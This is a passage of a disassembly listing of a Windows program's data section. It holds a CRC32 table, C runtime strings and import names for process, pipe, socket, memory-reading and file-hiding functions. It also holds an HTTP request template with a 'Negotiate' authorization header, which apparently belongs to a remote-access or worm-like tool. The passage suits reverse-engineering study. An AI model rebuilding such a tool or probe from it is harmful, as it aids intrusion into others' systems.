dword_427194 dd 77EB7624h ; DATA XREF: sub_41A05C+3Dr
dword_427198 dd 77E6C29Dh ; DATA XREF: sub_41A6EA+1EBr
dword_42719C dd 77E76C1Ah ; DATA XREF: sub_41AF8F+1CFr
dword_4271A0 dd 77F5722Fh ; DATA XREF: sub_41BBE2+110r
; sub_41BBE2+22Dr ...
dword_4271A4 dd 77F6183Eh ; DATA XREF: sub_426356r
dword_4271A8 dd 77E6177Ah ; DATA XREF: .text:0041E272r
; sub_423B0B+59r
dword_4271AC dd 77E7C938h ; DATA XREF: .text:0041E247r
dword_4271B0 dd 77E7C486h ; DATA XREF: .text:0041E1F9r
dword_4271B4 dd 77E7AC5Eh ; DATA XREF: sub_41E52A+54r
dword_4271B8 dd 77E76E0Bh ; DATA XREF: sub_41E672+50r
dword_4271BC dd 77E7C726h ; DATA XREF: sub_41E672+11r
dd 0
dword_4271C4 dd 71AB5A01h ; DATA XREF: sub_4157BA+20r
dword_4271C8 dd 71AB4122h ; DATA XREF: sub_4156D1+D4r
dword_4271CC dd 71AB1746h ; DATA XREF: sub_4131EC+1DEr
dword_4271D0 dd 71AB401Ch ; DATA XREF: sub_4131EC+21Br
; sub_4131EC+243r
dword_4271D4 dd 71AB1836h ; DATA XREF: sub_40F9BF+6Er
; sub_40FA3C+8Er
dword_4271D8 dd 71AB41DAh ; DATA XREF: sub_40F3AA+4Ar
; sub_40F9BF+15r
dword_4271DC dd 71AB3F8Dh ; DATA XREF: sub_40F3AA+5Ar
dword_4271E0 dd 71AB155Ah ; DATA XREF: sub_40F3AA+8Dr
; sub_414251+70r ...
dword_4271E4 dd 71AB3ECEh ; DATA XREF: sub_40F3AA+B5r
dword_4271E8 dd 71AB5DE2h ; DATA XREF: sub_40F3AA+C9r
dword_4271EC dd 71AB868Dh ; DATA XREF: sub_40F3AA+171r
dword_4271F0 dd 71AB12F8h ; DATA XREF: sub_40E9FB+27r
; sub_40F9BF+35r ...
dword_4271F4 dd 71AB1746h ; DATA XREF: sub_40E9FB+36r
; sub_40F9BF+41r ...
dword_4271F8 dd 71AB3E5Dh ; DATA XREF: sub_40E9FB+59r
; sub_40EAE9+45r ...
dword_4271FC dd 71AB5690h ; DATA XREF: sub_40E9FB+6Ar
; sub_40F3AA+1E1r
dword_427200 dd 71AB1A6Dh ; DATA XREF: sub_40E9FB+E0r
; sub_40EAE9:loc_40EB55r ...
dword_427204 dd 71AB3C22h ; DATA XREF: .text:0040D64Cr
; sub_40E9FB+45r ...
dword_427208 dd 71AB1AF4h ; DATA XREF: sub_40D2A2+12r
; sub_40E9FB+C3r ...
dword_42720C dd 71AB1890h ; DATA XREF: sub_40D104+4Cr
; sub_40F3AA+106r
dword_427210 dd 71AB1B7Bh ; DATA XREF: sub_426350r
dword_427214 dd 71AB157Eh ; DATA XREF: sub_401ACD+2F5Fr
align 10h
dword_427220 dd 0 ; DATA XREF: sub_401070+26r
dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh
dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h
dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh
dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h
dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h
dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h
dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h
dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h
dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh
dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh
dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h
dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh
dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h
dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h
dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh
dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h
dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah
dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh
dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h
dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h
dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh
dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dword_427620 dd 2Eh ; DATA XREF: sub_401ACD+3428o
; sub_401ACD+3514o ...
dword_427624 dd 2Eh ; DATA XREF: sub_401ACD+3850o
; sub_401ACD+388Ao ...
aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D4E2+62o
db 'Host: %s',0Dh,0Ah
db 'Authorization: Negotiate %s',0Dh,0Ah
db 0Dh,0Ah,0
align 8
dbl_427668 dq 1.388888888888889e-2 ; DATA XREF: sub_40D2F4+2Fr
dbl_427670 dq 1.666666666666667e-1 ; DATA XREF: sub_40D2F4+15r
dword_427678 dd 0FFFFFFFFh ; DATA XREF: sub_40D340+16Fr
; sub_40D774r ...
align 10h
dbl_427680 dq 1.333333333333333 ; DATA XREF: sub_40D340+79r
dword_427688 dd 2 dup(0) ; DATA XREF: sub_40D4E2+4Do
; sub_40D824+5Bo ...
dbl_427690 dq 9.765625e-4 ; DATA XREF: sub_4167A0+2BDr
; sub_4167A0+2D8r ...
dbl_427698 dq -1.52587890625e-4 ; DATA XREF: sub_417E84+3E5r
dbl_4276A0 dq 3.0517578125e-4 ; DATA XREF: sub_417E84+3C5r
dbl_4276A8 dq -3.0517578125e-4 ; DATA XREF: sub_417E84+342r
; sub_417E84+3A7r
dbl_4276B0 dq 1.52587890625e-4 ; DATA XREF: sub_417E84+271r
dbl_4276B8 dq -1.739501953125e-3 ; DATA XREF: sub_417E84+24Br
; sub_417E84+2D5r ...
dbl_4276C0 dq 3.11279296875e-3 ; DATA XREF: sub_417E84+E1r
dbl_4276C8 dq 3.0517578125e-5 ; DATA XREF: sub_417E84+AEr
; sub_417E84+138r ...
dbl_4276D0 dq 6.103515625e-5 ; DATA XREF: sub_417E84+93r
; sub_417E84+308r
dbl_4276D8 dq 2.288818359375e-3 ; DATA XREF: sub_417E84+21r
dbl_4276E0 dq -3.0517578125e-5 ; DATA XREF: sub_418BD1+2Br
flt_4276E8 dd 9.765625e-4 ; DATA XREF: sub_41AA1E+1B0r
flt_4276EC dd 8.0 ; DATA XREF: sub_41AA1E+1AAr
flt_4276F0 dd 0.0 ; DATA XREF: sub_41AA1E+171r
flt_4276F4 dd 1.0e-3 ; DATA XREF: sub_41AA1E+168r
dbl_4276F8 dq 1.0 ; DATA XREF: sub_41D055+6Cr
; sub_41D19B+6Cr ...
dword_427700 dd 0FFFFFFFFh, 41E2AAh, 41E2BEh ; DATA XREF: .text:0041E1D8o
a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_41E52A+8Eo
align 4
a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_41E52A+4Fo
align 4
byte_42773C db 6 ; DATA XREF: sub_41FF3F:loc_41FF96r
db 2 dup(0), 6
dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h
dd 0
db 8,'`h````',0
dd 78707000h, 8787878h, 807h, 8080007h, 8000008h, 7000800h
dd 8
aNull_0: ; DATA XREF: .data:off_43D094o
unicode 0, <(null)>,0
align 4
aNull db '(null)',0 ; DATA XREF: .data:off_43D090o
align 10h
a_yn db '_yn',0
a_y1 db '_y1',0
a_y0 db '_y0',0
aFrexp db 'frexp',0
align 4
aFmod db 'fmod',0
align 4
a_hypot db '_hypot',0
align 4
a_cabs db '_cabs',0
align 4
aLdexp db 'ldexp',0
align 4
aModf db 'modf',0
align 4
aFabs db 'fabs',0
align 4
aFloor db 'floor',0
align 4
aCeil db 'ceil',0
align 4
aTan db 'tan',0
aCos db 'cos',0
aSin db 'sin',0
aSqrt db 'sqrt',0
align 4
aAtan2 db 'atan2',0
align 10h
aAtan db 'atan',0
align 4
aAcos db 'acos',0
align 10h
aAsin db 'asin',0
align 4
aTanh db 'tanh',0
align 10h
aCosh db 'cosh',0
align 4
aSinh db 'sinh',0
align 10h
aLog10 db 'log10',0
align 4
aPow db 'pow',0
aExp db 'exp',0 ; DATA XREF: .data:off_43D30Co
dbl_427860 dq 0.0 ; DATA XREF: sub_421BFF+8Cr
; sub_421BFF+ACr ...
dbl_427868 dq 4.195835e6 ; DATA XREF: sub_422114+Fr
dbl_427870 dq 3.145727e6 ; DATA XREF: sub_422114+6r
aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_422152+Fo
align 4
aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_422152o
align 10h
aE000 db 'e+000',0 ; DATA XREF: sub_422279+93o
align 4
dword_4278A8 dd 0FFFFFFFFh, 422964h, 42296Eh, 0 ; DATA XREF: sub_4228FD+5o
dword_4278B8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_422A2C+5o
dd offset sub_422AEA
align 8
dd offset sub_422AC8
dd offset sub_422AD2
dword_4278D0 dd 0FFFFFFFFh, 422D1Ah, 422D1Eh, 0 ; DATA XREF: sub_422B62+5o
dword_4278E0 dd 0FFFFFFFFh, 422D7Ch, 422D85h, 0 ; DATA XREF: sub_422D26+5o
dword_4278F0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_422DFC+5o
dd offset loc_422E4D
align 10h
dd offset loc_422E39
dd offset loc_422E3D
dword_427908 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_422E52+5o
dd offset loc_422EA3
align 8
dd offset loc_422E8F
dd offset loc_422E93
dword_427920 dd 2 dup(0) ; DATA XREF: sub_4232A8+36o
; sub_4244F4+39o ...
dword_427928 dd 0FFFFFFFFh, 4233B8h, 4233BCh, 0FFFFFFFFh, 42346Ch, 423470h
; DATA XREF: sub_4232A8+5o
dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
aDomainError db 'DOMAIN error',0Dh,0Ah,0
align 10h
aR6028UnableToI db 'R6028',0Dh,0Ah
db '- unable to initialize heap',0Dh,0Ah,0
align 4
aR6027NotEnough db 'R6027',0Dh,0Ah
db '- not enough space for lowio initialization',0Dh,0Ah,0
align 10h
aR6026NotEnough db 'R6026',0Dh,0Ah
db '- not enough space for stdio initialization',0Dh,0Ah,0
align 4
aR6025PureVirtu db 'R6025',0Dh,0Ah
db '- pure virtual function call',0Dh,0Ah,0
align 10h
aR6024NotEnough db 'R6024',0Dh,0Ah
db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
align 4
aR6019UnableToO db 'R6019',0Dh,0Ah
db '- unable to open console device',0Dh,0Ah,0
align 4
aR6018Unexpecte db 'R6018',0Dh,0Ah
db '- unexpected heap error',0Dh,0Ah,0
align 4
aR6017Unexpecte db 'R6017',0Dh,0Ah
db '- unexpected multithread lock error',0Dh,0Ah,0
align 4
aR6016NotEnough db 'R6016',0Dh,0Ah
db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra db 0Dh,0Ah
db 'abnormal program termination',0Dh,0Ah,0
align 4
aR6009NotEnough db 'R6009',0Dh,0Ah
db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough db 'R6008',0Dh,0Ah
db '- not enough space for arguments',0Dh,0Ah,0
align 10h
aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .data:off_43D4DCo
db '- floating point not loaded',0Dh,0Ah,0
align 4
aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_423DD1+119o
align 10h
asc_427BF0 db 0Ah ; DATA XREF: sub_423DD1+F1o
db 0Ah,0
align 4
aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_423DD1+D3o
db 0Ah
db 'Program: ',0
align 10h
a___ db '...',0 ; DATA XREF: sub_423DD1+BFo
aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_423DD1+7Do
align 10h
dword_427C30 dd 0FFFFFFFFh, 4245EDh, 4245F1h ; DATA XREF: sub_4244F4+5o
aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_425029+3Do
align 10h
aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_425029+35o
aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_425029+24o
a1Qnan db '1#QNAN',0 ; DATA XREF: sub_425973:loc_425A68o
align 4
a1Inf db '1#INF',0 ; DATA XREF: sub_425973+D8o
align 4
a1Ind db '1#IND',0 ; DATA XREF: sub_425973+C7o
align 4
a1Snan db '1#SNAN',0 ; DATA XREF: sub_425973+ADo
align 4
dd offset dword_427DAC
off_427C90 dd offset sub_4260E2 ; DATA XREF: sub_4260BA+8o
; sub_4260FE+2Co ...
dd offset sub_4260D5
dd offset sub_4262F6
dd offset dword_427DF8
off_427CA0 dd offset sub_42614C ; DATA XREF: sub_4260FE+3Ao
; sub_426168o ...
dd offset sub_4260D5
dd offset loc_426332
dword_427CAC dd 0 ; DATA XREF: sub_4260FE+16o
; sub_4261D0+16o
aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_426173+11o
dd offset dword_427E44
off_427CCC dd offset sub_42625B ; DATA XREF: sub_426277o
; sub_42629A+37o ...
dd offset sub_4260D5
dd offset loc_426314
aStringTooLong db 'string too long',0 ; DATA XREF: sub_42629A+11o
dd offset dword_427E88
off_427CEC dd offset sub_4264A5 ; DATA XREF: sub_426490o
; .data:off_43DAE4o ...
dd offset dword_427EB8
off_427CF4 dd offset sub_4264C1 ; DATA XREF: sub_4264DD+8o
; sub_42651A+8o ...
dd offset sub_42657A
aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_42657A+7o
align 10h
dword_427D10 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_426587+Eo
dd 3, 19930520h, 2 dup(0)
dword_427D30 dd 0FFFFFFFFh, 426738h, 42673Ch, 0FFFFFFFFh, 4267B5h, 4267B9h
; DATA XREF: sub_426636+5o
dword_427D48 dd 0FFFFFFFFh, 4269ADh, 4269B1h, 0FFFFFFFFh, 426A0Ah, 426A0Eh
; DATA XREF: sub_4268C1+5o
dd 43DAE4h, 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
off_427D78 dd offset off_43DAFC ; DATA XREF: .rdata:00427D90o
; .rdata:00427DDCo ...
dd 1, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427D78
dd offset dword_427D48+18h
dword_427D98 dd 3 dup(0) ; DATA XREF: .rdata:00427DBCo
dd 2, 427D90h
dword_427DAC dd 3 dup(0) ; DATA XREF: .rdata:00427C8Co
dd offset off_43DAFC
dd offset dword_427D98+4
off_427DC0 dd offset off_43DB1C ; DATA XREF: .rdata:00427DD8o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427DC0
dd offset off_427D78
dd offset dword_427D48+18h
dd 0
db 0 ; DATA XREF: .rdata:00427E08o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 3, 427DD8h
dword_427DF8 dd 3 dup(0) ; DATA XREF: .rdata:00427C9Co
dd offset off_43DB1C
dd offset unk_427DE8
off_427E0C dd offset off_43DB3C ; DATA XREF: .rdata:00427E24o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427E0C
dd offset off_427D78
dd offset dword_427D48+18h
dword_427E30 dd 3 dup(0) ; DATA XREF: .rdata:00427E54o
dd 3, 427E24h
dword_427E44 dd 3 dup(0) ; DATA XREF: .rdata:00427CC8o
dd offset off_43DB3C
dd offset dword_427E30+4
off_427E58 dd offset off_43DB60 ; DATA XREF: .rdata:00427E70o
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427E58
dd 0
db 0 ; DATA XREF: .rdata:00427E98o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 1, 427E70h
dword_427E88 dd 3 dup(0) ; DATA XREF: .rdata:00427CE8o
dd offset off_43DB60
dd offset unk_427E78
dd offset dword_427D48+18h
dword_427EA0 dd 4 dup(0) ; DATA XREF: .rdata:00427EC8o
dd 1, 427E9Ch
dword_427EB8 dd 3 dup(0) ; DATA XREF: .rdata:00427CF0o
dd offset off_43DAE4
dd offset dword_427EA0+8
align 10h
dword_427ED0 dd 19930520h, 2, 427EF0h, 5 dup(0) ; DATA XREF: .text:loc_426AA7o
dd 0FFFFFFFFh, 426A90h, 0
dd offset sub_426A88
dword_427F00 dd 19930520h, 2, 427F20h, 5 dup(0) ; DATA XREF: .text:loc_426AC4o
dd 0FFFFFFFFh, 426AB4h, 0
dd offset sub_426ABC
dword_427F30 dd 19930520h, 2, 427F50h, 1, 427F60h, 3 dup(0)
; DATA XREF: .text:loc_426AD0o
dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 427F78h, 4 dup(0)
dd offset loc_40DA8E
dd 0FFFFFFFFh, 426ADAh
dword_427F90 dd 19930520h, 1, 427F88h, 5 dup(0) ; DATA XREF: .text:loc_426AE2o
dd offset off_43DAE4
align 8
dd 0FFFFFFFFh, 0
dd 0Ch, 42651Ah, 0
dd offset off_43DAFC
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 426218h, 0
dd offset off_43DB1C
align 10h
dd 0FFFFFFFFh, 0
dword_427FF8 dd 1Ch, 426282h, 3, 427FE4h, 427FC8h, 427FACh ; DATA XREF: .rdata:0042801Co
dword_428010 dd 0 ; DATA XREF: sub_426173+2Eo
; sub_4262F6+4Bo
dd offset sub_426168
dd 0
dd offset dword_427FF8+8
dd 0FFFFFFFFh, 426AECh
dword_428028 dd 19930520h, 1, 428020h, 4 dup(0) ; DATA XREF: .text:loc_426AF4o
dd 0FFFFFFFFh, 426AFEh
dword_42804C dd 19930520h, 1, 428044h, 4 dup(0) ; DATA XREF: .text:loc_426B06o
dd 0FFFFFFFFh, 426B10h
dword_428070 dd 19930520h, 1, 428068h, 5 dup(0) ; DATA XREF: .text:loc_426B18o
dd offset off_43DB3C
align 8
dd 0FFFFFFFFh, 0
dword_4280A0 dd 1Ch, 4262DEh, 3, 42808Ch, 427FC8h, 427FACh ; DATA XREF: .rdata:004280C4o
dword_4280B8 dd 0 ; DATA XREF: sub_42629A+2Eo
; sub_4262F6+2Do
dd offset sub_426277
dd 0
dd offset dword_4280A0+8
dd 0FFFFFFFFh, 426B22h
dword_4280D0 dd 19930520h, 1, 4280C8h, 4 dup(0) ; DATA XREF: .text:loc_426B2Ao
dword_4280EC dd 2, 427FC8h, 427FACh ; DATA XREF: .rdata:00428104o
dword_4280F8 dd 0 ; DATA XREF: sub_4262F6+Fo
dd offset sub_4260BA
dd 0
dd offset dword_4280EC
dd 28308h, 2 dup(0)
dd 2836Eh, 271C4h, 28144h, 2 dup(0)
dd 28B82h, 27000h, 5 dup(0)
dd 2868Ah, 28B72h, 28B62h, 28B52h, 28B34h, 28B22h, 28B10h
dd 28AFCh, 28AECh, 28ADEh, 28ACEh, 28ABCh, 28AA2h, 28A8Ah
dd 28A70h, 28A56h, 28A3Ah, 28A2Ah, 28A1Ah, 28A0Eh, 289FCh
dd 289F0h, 289E6h, 289DAh, 289CAh, 289BAh, 289ACh, 28386h
dd 28394h, 283A2h, 283B4h, 283CAh, 283E0h, 283E8h, 283F8h
dd 28406h, 28414h, 2842Ah, 2843Ah, 28446h, 2845Ch, 28472h
dd 28486h, 2849Ch, 284ACh, 284BCh, 284CEh, 284DEh, 284EAh
dd 284FAh, 2850Ch, 28520h, 28532h, 28542h, 28550h, 28568h
dd 28580h, 285A8h, 285C0h, 285D6h, 285E2h, 285EEh, 28602h
dd 28610h, 28624h, 28636h, 2864Ah, 28658h, 2866Ah, 2867Ch
dd 28696h, 286AEh, 286C8h, 286D8h, 286EAh, 286FCh, 28714h
dd 2872Eh, 2874Ah, 28764h, 28780h, 28790h, 2879Eh, 287B8h
dd 287C4h, 287D0h, 287E2h, 287F4h, 28808h, 28818h, 2882Ah
dd 2883Ah, 28848h, 2885Ah, 2886Ah, 28880h, 2888Eh, 2889Ch
dd 288B8h, 288CEh, 288DAh, 288F0h, 28900h, 28914h, 2892Ah
dd 28938h, 28944h, 28956h, 28968h, 28976h, 28990h, 2899Eh
dd 0
dd 28360h, 80000007h, 8000000Fh, 8000000Ch, 80000074h
dd 80000073h, 80000015h, 8000000Ah, 80000002h, 8000000Dh
dd 80000001h, 8000000Bh, 80000009h, 80000004h, 80000010h
dd 80000003h, 80000017h, 80000013h, 80000012h, 80000097h
dd 80000006h, 0
db 41h ; A
align 2
aWsasocketa_0 db 'WSASocketA',0
align 2
aWs2_32_dll_0 db 'WS2_32.dll',0
align 2
aVersion_dll db 'VERSION.dll',0
db '¹',0
aExitprocess db 'ExitProcess',0
a4 db '4',0
aClosehandle db 'CloseHandle',0
aF_2 db 'f',0
aCreateprocessa db 'CreateProcessA',0
align 4
db 7Dh ; }
db 1, 47h, 65h
aTmodulefilenam db 'tModuleFileNameA',0
align 2
dw 1C1h
aGetsystemdirec db 'GetSystemDirectoryA',0
db 56h ; V
db 3, 53h, 6Ch
db 65h ; e
db 65h, 70h, 0
db 6Fh ; o
align 2
aCreatethread db 'CreateThread',0
align 4
aG db 'ƒ',0
aDeletefilea db 'DeleteFileA',0
dw 286h
aOpenprocess db 'OpenProcess',0
db 43h ; C
db 1, 47h, 65h
aTcurrentproces db 'tCurrentProcessId',0
dw 171h
aGetlasterror db 'GetLastError',0
align 2
aC_2 db 'C',0
aCopyfilea db 'CopyFileA',0
dw 319h
aSetfileattribu db 'SetFileAttributesA',0
align 4
db 5Eh ; ^
db 1, 47h, 65h
aTfileattribute db 'tFileAttributesA',0
align 2
dw 17Fh
aGetmodulehandl db 'GetModuleHandleA',0
align 2
dw 390h
aWaitforsingleo db 'WaitForSingleObject',0
db '`',0
aCreatemutexa db 'CreateMutexA',0
align 4
db 0DFh ; ß
db 1, 47h, 65h
aTtickcount db 'tTickCount',0
align 4
db 5Fh ; _
db 3, 54h, 65h
aRminatethread db 'rminateThread',0
dw 1D5h
aGettemppatha db 'GetTempPathA',0
align 2
dw 26Eh
aMovefilea db 'MoveFileA',0
dw 252h
aLoadlibrarya db 'LoadLibraryA',0
align 2
dw 1A0h
aGetprocaddress db 'GetProcAddress',0
align 4
db 14h
db 1, 47h, 65h
aTcomputernamea db 'tComputerNameA',0
align 10h
db 74h ; t
db 1, 47h, 65h
aTlocaleinfoa db 'tLocaleInfoA',0
align 2
dw 1E9h
aGetversionexa db 'GetVersionExA',0
db 'º',0
aExitthread db 'ExitThread',0
align 10h
db 51h ; Q
db 2, 4Ch, 65h
aAvecriticalsec db 'aveCriticalSection',0
align 4
aS_6 db '˜',0
aEntercriticals db 'EnterCriticalSection',0
align 10h
db 24h ; $
db 2, 49h, 6Eh
aItializecritic db 'itializeCriticalSectionAndSpinCount',0
aB db '',0
aDeletecritical db 'DeleteCriticalSection',0
db 75h ; u
db 2, 4Dh, 75h
aLtibytetowidec db 'ltiByteToWideChar',0
dw 2B5h
aReadfile_0 db 'ReadFile',0
align 2
dw 3A4h
aWritefile db 'WriteFile',0
dw 368h
aTransactnamedp db 'TransactNamedPipe',0
aS_7 db 'S',0
aCreatefilea db 'CreateFileA',0
dd 6554035Eh, 6E696D72h, 50657461h, 65636F72h, 7373h, 75440093h
dd 63696C70h, 48657461h, 6C646E61h, 1420065h
aGetcurrentproc db 'GetCurrentProcess',0
aE_0 db 'e',0
aCreatepipe db 'CreatePipe',0
align 4
dd 654701E0h, 6D695474h, 726F4665h, 4174616Dh, 1470000h
dd 44746547h, 46657461h, 616D726Fh, 4174h, 65470163h, 6C694674h
dd 7A695365h, 0CE0065h, 646E6946h, 736F6C43h, 0C50065h
aFiletimetosyst db 'FileTimeToSystemTime',0
align 2
db 'Ä',0
aFiletimetoloca db 'FileTimeToLocalFileTime',0
db 'Ü',0
aFindnextfilea db 'FindNextFileA',0
db 'Ò',0
aFindfirstfilea db 'FindFirstFileA',0
align 2
dw 31Bh
aSetfilepointer db 'SetFilePointer',0
align 4
db 0EEh ; î
db 2, 53h, 65h
aTconsolectrlha db 'tConsoleCtrlHandler',0
db 8Eh ; Ž
db 3, 57h, 61h
aItformultipleo db 'itForMultipleObjects',0
align 2
dw 0FCh
aGenerateconsol db 'GenerateConsoleCtrlEvent',0
align 2
dw 2A3h
aQueryperform_1 db 'QueryPerformanceCounter',0
db 0A4h ; ¤
db 2, 51h, 75h
aEryperformance db 'eryPerformanceFrequency',0
dd 65470173h, 636F4C74h, 69546C61h, 656Dh, 724600F8h, 694C6565h
dd 72617262h, 1590079h
aGetenvironment db 'GetEnvironmentVariableW',0
db 16h
db 2, 48h, 65h
aApfree db 'apFree',0
align 4
db 10h
db 2, 48h, 65h
aApalloc db 'apAlloc',0
db 0A3h ; £
db 1, 47h, 65h
aTprocessheap db 'tProcessHeap',0
align 2
dw 389h
aVirtualqueryex db 'VirtualQueryEx',0
align 4
db 0B8h ; ¸
db 2, 52h, 65h
aAdprocessmemor db 'adProcessMemory',0
dd 654701C5h, 73795374h, 496D6574h, 6F666Eh, 6F4600F3h
dd 74616D72h, 7373654Dh, 41656761h, 20A0000h, 626F6C47h
dd 6E556C61h, 6B636F6Ch, 2030000h, 626F6C47h, 6F4C6C61h
dd 6B63h, 6E550371h, 5670616Dh, 4F776569h, 6C694666h, 2680065h
dd 5670614Dh, 4F776569h, 6C694666h, 540065h
aCreatefilemapp db 'CreateFileMappingA',0
align 10h
db 1Fh
db 3, 53h, 65h
aTfiletime db 'tFileTime',0
dw 165h
aGetfiletime db 'GetFileTime',0
db '¼',0
aExpandenvironm db 'ExpandEnvironmentStringsA',0
db 94h ; ”
db 3, 57h, 69h
aDechartomultib db 'deCharToMultiByte',0
dw 3C3h
aLstrcmpia db 'lstrcmpiA',0
dw 15Ah
aGetexitcodepro db 'GetExitCodeProcess',0
align 10h
db 91h ; ‘
db 2, 50h, 65h
aEknamedpipe db 'ekNamedPipe',0
db 78h ; x
db 1, 47h, 65h
